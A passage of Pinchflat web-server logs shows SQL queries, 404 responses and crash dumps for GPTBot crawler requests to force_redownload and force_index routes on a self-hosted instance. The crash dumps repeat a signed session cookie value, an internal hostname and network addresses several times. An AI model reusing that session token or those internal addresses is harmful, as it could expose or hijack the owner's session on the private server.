s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:31.910 [info] Sent 200 in 4ms 23:26:32.443 [info] GET /media/5fe683b3-67e0-4ded-8b3c-e2c086b70430/stream 23:26:32.443 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "5fe683b3-67e0-4ded-8b3c-e2c086b70430", "v" => "1774664290"} Pipelines: [:maybe_basic_auth] 23:26:32.443 [debug] QUERY OK source="media_items" db=0.3ms idle=536.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["5fe683b3-67e0-4ded-8b3c-e2c086b70430"] 23:26:32.444 [info] Sent 404 in 631µs 23:26:33.012 [info] GET /media/de0f7f7a-b58c-4e89-89b2-bd314879fed7/stream 23:26:33.012 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "de0f7f7a-b58c-4e89-89b2-bd314879fed7", "v" => "1774662182"} Pipelines: [:maybe_basic_auth] 23:26:33.012 [debug] QUERY OK source="media_items" db=0.1ms idle=1105.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["de0f7f7a-b58c-4e89-89b2-bd314879fed7"] 23:26:33.013 [info] Sent 404 in 460µs 23:26:33.559 [info] GET /media/c3fa2354-a1cc-4275-bef3-9cb9e33f15fe/stream 23:26:33.559 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "c3fa2354-a1cc-4275-bef3-9cb9e33f15fe", "v" => "1774663800"} Pipelines: [:maybe_basic_auth] 23:26:33.560 [debug] QUERY OK source="media_items" db=0.1ms idle=624.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["c3fa2354-a1cc-4275-bef3-9cb9e33f15fe"] 23:26:33.560 [info] Sent 404 in 458µs 23:26:34.050 [info] GET /media/97b3ce25-efba-4920-baa4-5ade5eb10b8b/stream 23:26:34.050 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "97b3ce25-efba-4920-baa4-5ade5eb10b8b", "v" => "1774663713"} Pipelines: [:maybe_basic_auth] 23:26:34.050 [debug] QUERY OK source="media_items" db=0.1ms idle=538.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["97b3ce25-efba-4920-baa4-5ade5eb10b8b"] 23:26:34.050 [info] Sent 404 in 384µs 23:26:34.567 [info] GET /sources/3/force_redownload 23:26:34.568 [debug] QUERY OK source="settings" db=0.1ms idle=1056.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:34.568 [debug] QUERY OK source="settings" db=0.0ms idle=1056.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:34.568 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:26:34.568 [error] #PID<0.3156.0> running PinchflatWeb.Endpoint (connection #PID<0.3155.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/3/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3155.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 56980}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3156.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/3/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDjgJRTk5npyyEAAFSD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3155.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 56980}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3155.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 56980}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, (truncated) 23:26:35.072 [info] GET /sources/3/media/215 23:26:35.072 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "215", "source_id" => "3"} Pipelines: [:browser] 23:26:35.073 [debug] QUERY OK source="media_items" db=0.5ms idle=1136.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [215] 23:26:35.074 [debug] QUERY OK source="tasks" db=0.4ms idle=1023.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [215] 23:26:35.074 [debug] QUERY OK source="sources" db=0.4ms idle=505.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:26:35.074 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=505.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [121] 23:26:35.074 [debug] QUERY OK source="settings" db=0.0ms idle=137.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:35.075 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:35.075 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:35.076 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:35.079 [info] Sent 200 in 6ms 23:26:36.615 [info] GET /sources/3/media/215/edit 23:26:36.615 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "215", "source_id" => "3"} Pipelines: [:browser] 23:26:36.616 [debug] QUERY OK source="media_items" db=0.1ms idle=677.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [215] 23:26:36.616 [debug] QUERY OK source="settings" db=0.0ms idle=104.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:36.616 [debug] QUERY OK source="settings" db=0.0ms idle=104.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:36.616 [debug] QUERY OK source="settings" db=0.0ms idle=104.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:36.617 [info] Sent 200 in 1ms 23:26:38.075 [info] GET /sources/3/media/213 23:26:38.075 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "213", "source_id" => "3"} Pipelines: [:browser] 23:26:38.076 [debug] QUERY OK source="media_items" db=0.3ms idle=1459.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213] 23:26:38.076 [debug] QUERY OK source="sources" db=0.1ms idle=1459.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:26:38.077 [debug] QUERY OK source="tasks" db=0.7ms idle=1459.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [213] 23:26:38.077 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1137.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [120] 23:26:38.077 [debug] QUERY OK source="settings" db=0.1ms idle=137.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:38.077 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:38.078 [debug] QUERY OK source="settings" db=0.3ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:38.079 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:38.081 [info] Sent 200 in 6ms 23:26:39.369 [info] GET /sources/3/media/213/edit 23:26:39.370 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "213", "source_id" => "3"} Pipelines: [:browser] 23:26:39.370 [debug] QUERY OK source="media_items" db=0.1ms idle=1292.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213] 23:26:39.370 [debug] QUERY OK source="settings" db=0.0ms idle=1292.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:39.370 [debug] QUERY OK source="settings" db=0.0ms idle=1292.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:39.371 [debug] QUERY OK source="settings" db=0.0ms idle=1291.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:39.371 [info] Sent 200 in 1ms 23:26:40.555 [info] GET /sources/3/force_index 23:26:40.556 [debug] QUERY OK source="settings" db=0.1ms idle=613.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:40.556 [debug] QUERY OK source="settings" db=0.1ms idle=44.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:40.556 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:26:40.556 [error] #PID<0.3174.0> running PinchflatWeb.Endpoint (connection #PID<0.3173.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/3/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3173.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57038}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3174.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/3"}, {"user-agent", "Mozilla/5.0 